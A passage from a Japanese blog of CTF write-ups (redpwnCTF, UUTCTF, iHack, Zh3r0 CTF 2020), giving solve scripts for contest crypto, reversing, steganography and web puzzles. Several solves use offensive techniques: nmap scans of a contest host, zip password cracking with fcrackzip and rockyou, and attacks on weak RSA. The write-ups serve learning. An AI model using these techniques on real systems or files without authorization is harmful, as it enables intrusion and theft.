7117034537284807945742187637806026575167189721915053721598366919183855678942904354100709676706266939987239784636517792765098186691320027952760129640600043110457061247950276300699673730974142889985775745067008215978127363446244067211331065425887900476400645979318670437602368253467708451553311503194719326191064426287789511648871280741907163685803438413525611639511127857327717637478826770192926449531152248176721924066673649830894705875875821071334985547799225547429288740385677845949184073408535192433745657787749143778154225763717556041539568362882041531006931566481778379872702497773143744698911835183934554574390
Signed!

[1] Sign
[2] Verify
[3] Exit
1
Message: 
1236392049112485472517172643536022400925824772641043407869226681283042560774119392444305888650047054704048337401911085765622422384453486847807211487320808767227069132711032572035031957069494755199469374415707038584938864339351834352925345321562390601253705880053243908223973115998003254683287172055891957678792027272696235469930818794030445398520326434216211997988108139313008166153045904799327259025667875476801795432052609223536382288909786950161220724119821953712653263255077713496502531369387565996240231934338188145281857459162911394796676676744762080702873042937848289391260294968489340235226832763955766993937 10319287694575719163750057188873121584639993569361323151402585611925103396498198488162396930817472409241110504366439123512978428183667434816849513797014186591558654725044138526989795304093205689883280526867683161991263554383103619859708304278630422921788105315173783465886559986696034819853553263203730095625615750263103194955378198897745293245056477494652571985089565287694283544393377868939347171679506307362974590350460314034228146379820903299186359824847995582580032929588329824818140583079654784039728339235507614551588737423270668556403712290868286994270806660246477877145443408568383151967255368817833505707769
7087844101109445737669255068411371588031372410901195273489022792132901324468694772450118553724072462952293036192720518079266107550861167519787550247873202636828774027473029866790785047099950067875935390794167896182373511217303041510086050933697588050743726054123142838576032264384857810857400067239604522385491644685318895265892977824252941084878599232705280285081159682153518470377289902303714955226781333497310168076179517060761658871171877609122168168887479768071433684958889819037457088842714323642735945600492740626719851431296390048482411255044724888205871640312809110387883054355557516820432198690598440860105
Signed!

[1] Sign
[2] Verify
[3] Exit
2
Message: redpwnCTF is a cybersecurity competition hosted by the redpwn CTF team.
Signature: 7121897894433052450135945980027633697004175418380148075114797438722955196365495432465329167727618797456803690417832370656112287274725560957826664570839367805251208593306450954965856271388508770551551097485601353147910947150979605132009419181165996910218471209266706719702262336112947078452989375242791676184465957243264234498559486932008194584376740025075684625088082604040873796699399765134078976692826448087630242162115355375710410399345657145287118593515466876949105047559926668626521207050840120891562458958955053916638523502093610396829812656402462916651979969309839915348702683863007925295129646275119176717273
Verified!
Here's your flag: b'flag{random_flags_are_secure-2504b7e69c65676367aef1d9658821030011f8968a640b504d320846ab5d5029b}'
flag{random_flags_are_secure-2504b7e69c65676367aef1d9658821030011f8968a640b504d320846ab5d5029b}

redpwnctf-survey (misc)

アンケートに答えたら、フラグが表示された。

flag{thank5_f0r_p1ay1ng_r3dpwnCTF2020}

UUTCTF 2020 Writeup

この大会は2020/6/20 15:30(JST)~2020/6/22 15:30(JST)に開催されました。
今回もチームで参戦。結果は175点で360チーム中91位でした。
自分で解けた問題をWriteupとして書いておきます。

Mess Up - Warm Up (Crypto 25)

base64デコードする。

$ echo VVVUQ1RGey4tLS0tIC0uIC0gLi4uLS0gLi0uIC4gLi4uLi4gLSAuLi4tLSAtLi4gLS4uLi4tIC4uIC0uIC0uLi4uLSAtLSAtLS0tLSAuLS4gLi4uLi4gLiAtLi4uLi0gLS4tLiAtLS0tLSAtLi4gLi4uLS19 | base64 -d
UUTCTF{.---- -. - ...-- .-. . ..... - ...-- -.. -....- .. -. -....- -- ----- .-. ..... . -....- -.-. ----- -.. ...--}

モールス信号部分をデコードする。

UUTCTF{1NT3RE5T3D-IN-M0R5E-C0D3}

Let Me In (Web 50)

http://185.206.93.66:800/authで認証が入っている。

$ curl http://185.206.93.66:800/ -v
*   Trying 185.206.93.66...
* TCP_NODELAY set
* Connected to 185.206.93.66 (185.206.93.66) port 800 (#0)
> GET / HTTP/1.1
> Host: 185.206.93.66:800
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sat, 20 Jun 2020 09:22:19 GMT
< Content-Type: text/html
< Content-Length: 176
< Last-Modified: Mon, 01 Jun 2020 17:29:20 GMT
< Connection: keep-alive
< ETag: "5ed53af0-b0"
< username: corona
< password: ihateyoucorona
< Accept-Ranges: bytes
< 
<center>
<h1> hello </h1>
 <h2> if you want flag you must pass <a href="http://185.206.93.66:800/auth">this</a> auth ! </h2>
 <h3> It depends on your curiosity </h3>
</center>
* Connection #0 to host 185.206.93.66 left intact

認証情報が含まれていた。

username: corona
password: ihateyoucorona

この認証情報で認証すると、authファイルが落ちてきて、そこにフラグが書いてあった。

UUTCTF{I_J45T_H4T3_C0R0NA}

Noisy Wind (Misc 100)

Audacityで開き、スペクトログラムを見ると、フラグが出てきた。
f:id:satou-y:20200630120401p:plain

UUTCTF{StEg0_1s_sUch_4_fUn}

iHack 2020 Writeup

この大会は2020/6/21 6:30(JST)~2020/6/21 15:00(JST)に開催されました。
今回もチームで参戦。結果は290点で78チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

Introduction to pwntools reloaded (pwning 100)

$ nc pwn64.ctf.ihack.computer 1234
OCTAL VALUE: 115 110 150 104 122 125 132 102 116 147 075 075 
What is the good number?

実質プログラムの問題。8進数をデコードし、ASCIIコードとして文字にする。さらにbase64デコードすると、16進数文字列になるので、10進数に変換して答える。

from pwn import *

p = remote('pwn64.ctf.ihack.computer', 1234)

data = p.recvline().rstrip()
print data

codes = data.split(': ')[1].split(' ')
print codes
msg = ''.join([chr(int(code, 8)) for code in codes])
msg = msg.decode('base64')
msg = str(int(msg, 16))

data = p.recvline().rstrip()
print data

print msg
p.sendline(msg)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to pwn64.ctf.ihack.computer on port 1234: Done
OCTAL VALUE: 115 110 150 105 116 104 144 107 122 147 075 075
['115', '110', '150', '105', '116', '104', '144', '107', '122', '147', '075', '075']
What is the good number?
870399
Good answer!
Weel done! This is your flag:
FLAG_2JYJZH0gn2pAa4JW2xQC
[*] Closed connection to pwn64.ctf.ihack.computer port 1234
FLAG_2JYJZH0gn2pAa4JW2xQC

The Chronos Encrypter (Malware The Flag 90)

mtf{から始まることを前提に鍵を出してみる。

with open('flag.txt', 'rb') as f:
    ct = f.read()

head_flag = 'mtf{'

key = ''
for i in range(len(head_flag)):
    code = ord(ct[i]) ^ ord(head_flag[i])
    key += chr(code)

print key

実行すると、以下のようになる。

1590

時刻のことも問題に記載されていたので、UNIXTIMEが鍵になっていると推測できる。

29 May 2020 12:23:13 PM GMT
⇒ UNIXTIME = 1590754993

これをXOR鍵として復号する。

with open('flag.txt', 'rb') as f:
    ct = f.read()

key = '1590754993'

flag = ''
for i in range(len(ct)):
    code = ord(ct[i]) ^ ord(key[i%len(key)])
    flag += chr(code)

print flag
mtf{chr0n05_n07_cr0nu5}

Zh3r0 CTF Writeup

この大会は2020/6/16 0:30(JST)~2020/6/18 0:30(JST)に開催されました。
今回もチームで参戦。結果は4252点で810チーム中63位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to Phase 1 (Misc)

入力欄に書いてある。

zh3r0{is_this_a_real_flag?}

Flag 5 (Subset of subset of hacking machines challenges)

$ nmap -Pn hackit.zh3r0.ml

Starting Nmap 7.60 ( https://nmap.org ) at 2020-06-16 20:20 JST
Nmap scan report for hackit.zh3r0.ml (139.59.3.42)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
99/tcp open  metagram

Nmap done: 1 IP address (1 host up) scanned in 22.31 seconds

$ nmap -P0 -A hackit.zh3r0.ml -p 22,99

Starting Nmap 7.60 ( https://nmap.org ) at 2020-06-16 20:25 JST
Nmap scan report for hackit.zh3r0.ml (139.59.3.42)
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
22/tcp open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
99/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 70:78:8f:70:79:59:72:5f:05:c9:2a:63:b4:34:c1:52 (RSA)
|   256 08:6d:42:16:2a:47:ae:b4:d7:fa:35:28:91:67:ab:63 (ECDSA)
|_  256 e4:89:6b:09:37:64:c2:47:01:bd:c2:32:d8:cd:06:2d (EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.07 seconds

$ curl http://hackit.zh3r0.ml:22/
z3hr0{shouldve_added_some_filter_here}
z3hr0{shouldve_added_some_filter_here}

snakes everywhere (Reversing)

Pythonコードのアセンブリからコードにすると、以下のようになる。

from flags import flag1
flag = flag1
fake_flag = 'zh3r0{fake flag}'

key = 'I_l0v3_r3v3r51ng'

assert len(flag) == 38

def xor(str1, str2):
    return chr(ord(str1) ^ ord(str2))


ciphertext = ''

for i in range(len(flag)//3):
    ciphertext += chr(ord(key[i]) * ord(flag[i]) - i)

for i in range(len(flag)//3, len(flag)//3*2):
    ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)]) + i)

for i in range(len(key)//2, len(flag)):
    ciphertext += xor(key[i%16], flag[i])

file = open('ciphertext.txt', 'w')
print(len(ciphertext))
file.write(ciphertext)
file.close()

以上から逆算していけばフラグになる。

#!/usr/bin/env python3
import codecs

def xor(str1, str2):
    return chr(ord(str1) ^ ord(str2))

key = 'I_l0v3_r3v3r51ng'

with codecs.open('snake.txt', 'r', 'utf-8') as f:
    ciphertext = f.read()

flag = ''
for i in range(12):
    flag += chr((ord(ciphertext[i]) + i) // ord(key[i]))

for i in range(12, 24):
    flag += chr((ord(ciphertext[i]) - i) // ord(key[i%len(key)]))

for i in range(8, 38):
    if i < 24:
        assert flag[i] == xor(ciphertext[i+16], key[i%16])
    else:
        flag += xor(ciphertext[i+16], key[i%16])

print(flag)
zh3r0{Python_disass3mbly_is v3ry_E4sy}

Web-Warmup (Web)

HTMLソースを見る。読み込んでいるbg.cssを見ると、コメントにフラグが書いてあった。

/*css is easy, I think. Don't you?zh3r0{y3s_th1s_1s_w4rmup}*/
zh3r0{y3s_th1s_1s_w4rmup}

LSB fun (Forensics)

Windowsのjstegツールで抽出する。

>jsteg reveal chall.jpg
zh3r0{j5t3g_i5_c00l}
zh3r0{j5t3g_i5_c00l}

Katycat (Forensics)

$ zsteg katy.png 
b1,rgb,lsb,xy       .. text: "https://pastebin.com/hvgCXNcP"
b2,r,msb,xy         .. file: PGP\011Secret Key -
b2,rgb,msb,xy       .. text: "EEQPUUU@U"
b2,abgr,msb,xy      .. text: "WSSWCCCCSSWWCC"
b3,bgr,msb,xy       .. text: "(Z0-X0-H"
b4,r,lsb,xy         .. text: "DfffdDB\""
b4,r,msb,xy         .. text: "@\"fa\"DD$DD"
b4,g,lsb,xy         .. text: "D\"\"$\"D\"\"\" "
b4,g,msb,xy         .. text: "&b\"fa\"DD$D\"DDD"
b4,b,lsb,xy         .. text: "vPUFwDT!"
b4,b,msb,xy         .. text: "USUs33UU&\"Q3"
b4,rgb,lsb,xy       .. text: "hDdD\"B$\"\"\"\"dF\"b$$"
b4,rgb,msb,xy       .. text: "QU3sUS53337uSp"
b4,bgr,lsb,xy       .. text: "fdDDB$\"\"\"\"b&Db$\""
b4,bgr,msb,xy       .. text: "Su3S5U3335WsuP"
b4,abgr,msb,xy      .. text: "?U?U?5?5?"

https://pastebin.com/hvgCXNcPにアクセスしてみると、以下の文字列がある。

UEsDBAoACQAAALq0vFDu3sG8JQAAABkAAAAIABwAZmxhZy50eHRVVAkAA+jvz179789edXgLAAEE
6AMAAAToAwAAt9tbOQhvceVTC9i83YoBgbIW5fmqoaO3mVwXSLOMqNulwvcwb1BLBwju3sG8JQAA
ABkAAABQSwECHgMKAAkAAAC6tLxQ7t7BvCUAAAAZAAAACAAYAAAAAAABAAAApIEAAAAAZmxhZy50
eHRVVAUAA+jvz151eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAAdwAAAAAA
enc = '''
UEsDBAoACQAAALq0vFDu3sG8JQAAABkAAAAIABwAZmxhZy50eHRVVAkAA+jvz179789edXgLAAEE
6AMAAAToAwAAt9tbOQhvceVTC9i83YoBgbIW5fmqoaO3mVwXSLOMqNulwvcwb1BLBwju3sG8JQAA
ABkAAABQSwECHgMKAAkAAAC6tLxQ7t7BvCUAAAAZAAAACAAYAAAAAAABAAAApIEAAAAAZmxhZy50
eHRVVAUAA+jvz151eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAAdwAAAAAA
'''
enc = enc.replace('\n', '')

with open('flag.zip', 'wb') as f:
    f.write(enc.decode('base64'))

base64デコードすると、zipになるが、パスワードがかかっている。fcrackzipでパスワードクラックしてみる。

$ fcrackzip -u -D -p dict/rockyou.txt flag.zip


PASSWORD FOUND!!!!: pw == kitkat

このパスワードで解凍する。

$ unzip -P kitkat flag.zip
Archive:  flag.zip
 extracting: flag.txt
$ cat flag.txt
K9bC_L`D?f0DEb8c?_06cDJN

rot47で復号すると、フラグになった。

zh3r0{1sn7_st3g4n0_e4sy}

Snow (Forensics)

タイトルからもsnowを使ったステガノグラフィと推測できる。.secret.txtの内容をパスワードとして抽出する。

>SNOW.EXE -C -p welc0me_to_zh3r0_ctf chall.txt
zh3r0{i5_it_sn0w1ng?}
zh3r0{i5_it_sn0w1ng?}

RSA-Warmup (Crypto)

$ nc crypto.zh3r0.ml 8451
N: 362204497165012221441752622398014284477672934484246574352668248354962122223480948879218151496432533426651807605790387028320471297675381207280285987455705667520240462620907047537189803348668442653464783479975255974364741816154041849217512816179839303882436285701309813781493647198306032967736450341404564444063064572857
e 65537
CT: 28279148543261010538786162189188416138622702190690046805887004409024981386725281303105636820548914828865663276341527926288823477904578678093032127397866691471033090624228990190190140386526912958442365620531660273304172392330422040873262164993051721152973279728450632330158105145649469394623518488176940748325366439174

Nを素因数分解する。

$ python -m primefac 362204497165012221441752622398014284477672934484246574352668248354962122223480948879218151496432533426651807605790387028320471297675381207280285987455705667520240462620907047537189803348668442653464783479975255974364741816154041849217512816179839303882436285701309813781493647198306032967736450341404564444063064572857
362204497165012221441752622398014284477672934484246574352668248354962122223480948879218151496432533426651807605790387028320471297675381207280285987455705667520240462620907047537189803348668442653464783479975255974364741816154041849217512816179839303882436285701309813781493647198306032967736450341404564444063064572857: 3964720609 91356878046538845391249767733132663845083802343724385839231338471084211074980428432811708245248646075946434389922073580423752703749567339886240641643080698481631763985139626653876483367776304928896638799693856555016772889621297864627795470513024314819363930040122989604964027163384423229540220633843045267673

Nを素因数分解できたので、あとはそのまま復号する。

from Crypto.Util.number import *

N = 362204497165012221441752622398014284477672934484246574352668248354962122223480948879218151496432533426651807605790387028320471297675381207280285987455705667520240462620907047537189803348668442653464783479975255974364741816154041849217512816179839303882436285701309813781493647198306032967736450341404564444063064572857
e = 65537
CT = 28279148543261010538786162189188416138622702190690046805887004409024981386725281303105636820548914828865663276341527926288823477904578678093032127397866691471033090624228990190190140386526912958442365620531660273304172392330422040873262164993051721152973279728450632330158105145649469394623518488176940748325366439174

p = 3964720609
q = 91356878046538845391249767733132663845083802343724385839231338471084211074980428432811708245248646075946434389922073580423752703749567339886240641643080698481631763985139626653876483367776304928896638799693856555016772889621297864627795470513024314819363930040122989604964027163384423229540220633843045267673

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(CT, d, N)
flag = long_to_bytes(m)
print flag
zh3r0{RSA_1s_Fun}

Mix (Crypto)

base65536でデコードする。

#!/usr/bin/env python3
import base65536

with open('chall_encrypted.txt', 'r', encoding='utf_8') as f:
    ct = f.read()

pt = base65536.decode(ct)
print(pt.decode())

実行結果は以下の通り。

flag 1:
Yjod od s lrunpstf djogy vo[jrtyrcy jrtr od upi g;sh xj4t-}U-i+dit4+

flag 2:
3030313130313030203031313130303130203030313130303131203031303131313131203030313130313030203031313130313131203030313130303131203031313130303131203030313130303030203031313031313031203030313130303131203031303131313131203031313130313131203031313031303031203030313130313131203031313031303030

flag 3:
MTExMTExMTExMTAwMTAwMDEwMTAxMDExMTAxMDExMTExMTEwMTAxMTExMTExMTExMDExMDExMDExMDExMDAwMDAxMTAxMDAxMDAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAwMDAwMDAwMDAwMTAxMDAwMTAxMDAxMDAwMTAxMDAxMTExMTExMTAwMTAxMDAxMDExMTExMTExMTAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMTAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxMDEwMDAwMDAwMDAxMDEwMDExMDAwMDAwMDAxMDEwMDAxMDEwMTExMTAwMTAxMDAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDExMDExMDExMTExMTExMTExMTAwMTAxMA==

flag1~3について、それぞれ復号する必要がある。まずflag1については、各文字をUS配列キーボード上で左の文字に変える。

This is a keyboard shift ciphertext here is you flag zh3r0{Y0u_sur3_

次にflag2はhexデコードすると、2進数のASCIIコードが並んでいるのがわかるので、デコードする。

import base64

ct2 = '3030313130313030203031313130303130203030313130303131203031303131313131203030313130313030203031313130313131203030313130303131203031313130303131203030313130303030203031313031313031203030313130303131203031303131313131203031313130313131203031313031303031203030313130313131203031313031303030'
codes = ct2.decode('hex').split(' ')

flag2 = ''
for code in codes:
    flag2 += chr(int(code, 2))
print flag2

デコード結果は以下の通り。

4r3_4w3s0m3_wi7h

最後にflag3については、base64デコードすると、0,1の並んだ文字列になるが、ASCIIコードにはなりそうにない。

1111111111001000101010111010111111101011111111110110110110110000011010010010010000000000000000001010011000000000000000000000000000000000000000000000000000000001010000000000001010001010010001010011111111001010010111111111001010011000000000000001010010000000000000000000000000000001010111111111111111111110010100000000000000000000000000010100000000010100110000000010100010101111001010010111111111111111111110010100110110111111111111001010

問題を見ると、SPOONというキーワードがあるので、調べてみると、Spoon Languageというものがあることがわかる。
https://www.dcode.fr/spoon-languageでデコードする。

_411_7h3_ski115}

flag1~3を結合すると、フラグになる。

zh3r0{Y0u_sur3_4r3_4w3s0m3_wi7h_411_7h3_ski115}

Hastad's message (Crypto)

$ nc crypto.zh3r0.ml 7419
N: 22857403917033452762301692151936680227099179828447116694851576122227087851149555427000138614019347046657401967421147503016546446657912243103301489550801502213543799142440722257289782903210973777123770395462277652515090800990170935194739452788926924406411625140822688653866031925496143186166969089756967341706986678103581032106577269283579684740814341978215925969756042680055259503028748627289133764296953426402876584404716806524279688134865241125740556757179831843282004974142256384849751862870211107430066634096097714894315793983740153650155659957823284584625222819243597312146000907539885211491273592108608676263997
CT: 21006791237991463493340715948837281319345332975431116155246886857329226729176905006985301880229589771867164219946980507403131176313843758775517084997896302863517136186936942094292340604242114096356212545068140977209543062639322853952829213905545327059774710190550607656944699178883239469025363244471355734382420605349807467572623064978145945360251167254005860156200061225217268443957714842188064887796139342976650738189179581667380553718551142665142086887013363723794633316229945140842423696160124298510198972514083898687854267419336322673376025386514986398539403721584892994795627805100546778227736928427965280816039

$ nc crypto.zh3r0.ml 7419
N: 24255028471131132079553905484198967796113853854803832085857908151952952553438604497305380360218255010195759694646983763016990035030508175202633392488210643722838705715759466198971587743605730499883974472311824555697152669592357863583927334616520558312740769160009255637189341430484907205847141876471366729441606996227896102150555964555972937245587927782688252918165407439303880665315125498637886009255567255874696729407591739218027242787230753662154898772475316535468193123937724482351740172029114212735258050226173549824091790974175866156475826591910151603770169641134890040540391370445465191312108856014264989983419
CT: 4080653980915597905639514646198687473573442849454819707783099713713422382104870992346376322305324753220468980472324072065019769335937812772641959339576410882752539996679965165219562794135836515575063660680045105348959510487942209928320980889028161465222578675623217424488964105504097617934299285784701174152694716817179016013110373107461312130891720745243058109317442985903785433116301947585694340522495090274741149337040549108069094609388063239087266931938935205446241123974559960107196840388273379246802454394826076801079280490108853216721513492813056227181113503696807736676905961129314440189516070951160240768528

$ nc crypto.zh3r0.ml 7419
N: 18170781317829964454680876495568985113697632391187407846578744087052531477112675213533542625672700822419610345901567198182263091158570601201787845714888045495826219850734105016410092117287277362378896745761380158857097548540976713621657106454534379363303323375130629105535594640138008735015400277243571219812012584396420515815878989240581459952456797172991674149087707378266680425895017939205927487902023669063943408647789564745167286117702947615719992719924064383905809432619142537197018133574831738605207342838580303912716997382979289558793912617558864411334676100405687905822983720599084620562783990512841069780401
CT: 16421004495511763958782822739048726299470163120688526903461320430488416917368074624661373617529321882858883043268395753857587802837859712349474497032398844368474587293204872415008847994460996019119277400038454245204198348047373004175429102952579524430005982588506808607416160075948392466286975076688338000579281720715833339965992184047365696237560807592187133148808044698570623096872957459722460928209621248015591145194604248730523613931253283523316930243593394425608043954849400410380900216653789971518865354330515457388937591390035942970879666182575102575041672419570372174753138366738036997445784549007667425022295

eの値はわからないが、とりあえずe=3として3つのデータを集め、Hastad's Broadcast Attackで復号してみるが、うまくいかなかった。さらに2つのデータを集める。

$ nc crypto.zh3r0.ml 7419
N: 18381521670468669483125585535872682141850263297128579361275636911380507573797401758589301007911962912929657515275269863194175875752890317760263717055015302034421756983390372419334702052084367063446373277862931097423244154285118179117892587143633004715840167349173688639034638801842458735448404548970627564765423490499776295630455197197223957539093720798843471184912396633300558792099829828026289655503505196822190051132389391628953432211739874968197367189223781866012905951782997344495708430917952820714445618318673029669347893710046232869414785081166992164976832492308617162252015602581429407743510730957911298012421
CT: 1818892344291150537872012729215705122734238326815668996961579488232419188824050503233307373549204308663271437843774188077568286368923059868354156657642490397060779759446489103790176917775051873835530733346890879137836113716115814508550855715821953590672459496312656022341509256040734847291970639809901518117832540714387827314693528653612061512064870782976670018665074687028614426300382563677842204341520468146624639048010518108375189941778370046173224264766679336949866012929878305757088219461570251770129940691519585417412368422989271566419214088150943534964026343300089924340622123992441664730270764149871235142536

$ nc crypto.zh3r0.ml 7419
N: 24734494903694969744575863846845904407753451836991665788830976839955898670258636144673676463220033110047190799495183607210280172541939189869982701604224204422324525455826659132479539317246176913090534409398141536909955246566256622784342406536057772835527020520414060722692873534272745699558390874305048328998316865423785482997405348891762811594525859452959439903945538655453636380296676586240884908596590906244873206042296763628632887732787926635197575233002004463287098051749689831983198984586683992196167915209070530685176685511999474083049088414885221523468506180076982155175996087885097390199263784159028723755969
CT: 12234027254738065079308678164515853762386657938164876547464782059807602392721470637458014128343488029878456988990625453370008672737998196811664785626635975123287666874966033053311723420277382605028538477470057448860946203384350301962098533905082391988247355522230150210738399620642541614854621638391571546534083090214981674398127144628767303126200529760600329589741832571931960007009869597427838973352486821367509562025643864799572949058480884145061530932914189605837814509387660323215110814788732659079516894101010991761217221401823561781414765493231103098860170642291471339517281171816879226186688416616775070727473

今度はeの値を5にして試してみる。

import functools
from Crypto.Util.number import *

def chinese_remainder(n, a):
    sum = 0
    prod = functools.reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def inv_pow(c, e):
    low = -1
    high = c+1
    while low + 1 < high:
        m = (low + high) // 2
        p = pow(m, e)
        if p < c:
            low = m
        else:
            high = m
    m = high
    assert pow(m, e) == c
    return m

N1 = 22857403917033452762301692151936680227099179828447116694851576122227087851149555427000138614019347046657401967421147503016546446657912243103301489550801502213543799142440722257289782903210973777123770395462277652515090800990170935194739452788926924406411625140822688653866031925496143186166969089756967341706986678103581032106577269283579684740814341978215925969756042680055259503028748627289133764296953426402876584404716806524279688134865241125740556757179831843282004974142256384849751862870211107430066634096097714894315793983740153650155659957823284584625222819243597312146000907539885211491273592108608676263997
CT1 = 21006791237991463493340715948837281319345332975431116155246886857329226729176905006985301880229589771867164219946980507403131176313843758775517084997896302863517136186936942094292340604242114096356212545068140977209543062639322853952829213905545327059774710190550607656944699178883239469025363244471355734382420605349807467572623064978145945360251167254005860156200061225217268443957714842188064887796139342976650738189179581667380553718551142665142086887013363723794633316229945140842423696160124298510198972514083898687854267419336322673376025386514986398539403721584892994795627805100546778227736928427965280816039

N2 = 24255028471131132079553905484198967796113853854803832085857908151952952553438604497305380360218255010195759694646983763016990035030508175202633392488210643722838705715759466198971587743605730499883974472311824555697152669592357863583927334616520558312740769160009255637189341430484907205847141876471366729441606996227896102150555964555972937245587927782688252918165407439303880665315125498637886009255567255874696729407591739218027242787230753662154898772475316535468193123937724482351740172029114212735258050226173549824091790974175866156475826591910151603770169641134890040540391370445465191312108856014264989983419
CT2 = 4080653980915597905639514646198687473573442849454819707783099713713422382104870992346376322305324753220468980472324072065019769335937812772641959339576410882752539996679965165219562794135836515575063660680045105348959510487942209928320980889028161465222578675623217424488964105504097617934299285784701174152694716817179016013110373107461312130891720745243058109317442985903785433116301947585694340522495090274741149337040549108069094609388063239087266931938935205446241123974559960107196840388273379246802454394826076801079280490108853216721513492813056227181113503696807736676905961129314440189516070951160240768528

N3 = 18170781317829964454680876495568985113697632391187407846578744087052531477112675213533542625672700822419610345901567198182263091158570601201787845714888045495826219850734105016410092117287277362378896745761380158857097548540976713621657106454534379363303323375130629105535594640138008735015400277243571219812012584396420515815878989240581459952456797172991674149087707378266680425895017939205927487902023669063943408647789564745167286117702947615719992719924064383905809432619142537197018133574831738605207342838580303912716997382979289558793912617558864411334676100405687905822983720599084620562783990512841069780401
CT3 = 16421004495511763958782822739048726299470163120688526903461320430488416917368074624661373617529321882858883043268395753857587802837859712349474497032398844368474587293204872415008847994460996019119277400038454245204198348047373004175429102952579524430005982588506808607416160075948392466286975076688338000579281720715833339965992184047365696237560807592187133148808044698570623096872957459722460928209621248015591145194604248730523613931253283523316930243593394425608043954849400410380900216653789971518865354330515457388937591390035942970879666182575102575041672419570372174753138366738036997445784549007667425022295

N4 = 18381521670468669483125585535872682141850263297128579361275636911380507573797401758589301007911962912929657515275269863194175875752890317760263717055015302034421756983390372419334702052084367063446373277862931097423244154285118179117892587143633004715840167349173688639034638801842458735448404548970627564765423490499776295630455197197223957539093720798843471184912396633300558792099829828026289655503505196822190051132389391628953432211739874968197367189223781866012905951782997344495708430917952820714445618318673029669347893710046232869414785081166992164976832492308617162252015602581429407743510730957911298012421
CT4 = 1818892344291150537872012729215705122734238326815668996961579488232419188824050503233307373549204308663271437843774188077568286368923059868354156657642490397060779759446489103790176917775051873835530733346890879137836113716115814508550855715821953590672459496312656022341509256040734847291970639809901518117832540714387827314693528653612061512064870782976670018665074687028614426300382563677842204341520468146624639048010518108375189941778370046173224264766679336949866012929878305757088219461570251770129940691519585417412368422989271566419214088150943534964026343300089924340622123992441664730270764149871235142536

N5 = 24734494903694969744575863846845904407753451836991665788830976839955898670258636144673676463220033110047190799495183607210280172541939189869982701604224204422324525455826659132479539317246176913090534409398141536909955246566256622784342406536057772835527020520414060722692873534272745699558390874305048328998316865423785482997405348891762811594525859452959439903945538655453636380296676586240884908596590906244873206042296763628632887732787926635197575233002004463287098051749689831983198984586683992196167915209070530685176685511999474083049088414885221523468506180076982155175996087885097390199263784159028723755969
CT5 = 12234027254738065079308678164515853762386657938164876547464782059807602392721470637458014128343488029878456988990625453370008672737998196811664785626635975123287666874966033053311723420277382605028538477470057448860946203384350301962098533905082391988247355522230150210738399620642541614854621638391571546534083090214981674398127144628767303126200529760600329589741832571931960007009869597427838973352486821367509562025643864799572949058480884145061530932914189605837814509387660323215110814788732659079516894101010991761217221401823561781414765493231103098860170642291471339517281171816879226186688416616775070727473

N = [N1, N2, N3, N4, N5]
C = [CT1, CT2, CT3, CT4, CT5]
e = len(N)
a = chinese_remainder(N, C)
for n, c in zip(N, C):
    assert a % n == c
m = inv_pow(a, e)
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

Its great that you have come till here. As promised here is your flag: zh3r0{RSA_1s_0n3_of_th3_b4st_encrypt10n_Bu66y}
zh3r0{RSA_1s_0n3_of_th3_b4st_encrypt10n_Bu66y}

Help me (Crypto)

Pythonコードのアセンブリからコードにすると、以下のようになる。

from flag import flag, key
from binascii import hexlify
from Crypto.Util.number import *


assert len(flag) == 48

fake_flag = 'zh3r0{l0l_thi5_i5_n0t_th3_fl4g}'

def xor(str1, str2, num):
    return chr((ord(str1[num]) + num) ^ ord(str2[num]))

def first_half(half_flag):
    return [hexlify(half_flag[i:i+4].encode()) for i in range(0, len(half_flag), 4)]

def second_half(half_flag):
    return [bytes_to_long(half_flag[i:i+4].encode()) for i in range(0, len(half_flag), 4)]

def encrypt(flag, key):
    final = []
    first_xor = [xor(flag[:len(flag)//2], key[len(key)//2:], i) for i in range(len(flag)//2)]
    second_xor = [xor(flag[len(flag)//2:], key[:len(key)//2], i) for i in range(len(flag)//2)]
    final += first_half(''.join(first_xor))
    final += second_half(''.join(second_xor))
    return final

print(encrypt(key, flag))

このコードを見ると、フラグを前半、後半に分け、以下のような処理になっている。

・フラグの前半、鍵の後半とXORを取り、4バイトごとに16進数表示にする。
・フラグの後半、鍵の前半とXORを取り、4バイトごとに数値表示にする。

鍵がわかれば、復号できる。鍵は以下の文字列であるようだが、エンコードされている。

5Nzwbdkvm1VF1X3zc8d6kPd7MMTgSW9Dv1otpwkbPyggHqk5CaEHYwCD14vBdc3w86

試した結果、base58デコードして、rot47にすると、正しい鍵になる。あとはXORで元に戻していく。

#!/usr/bin/env python3
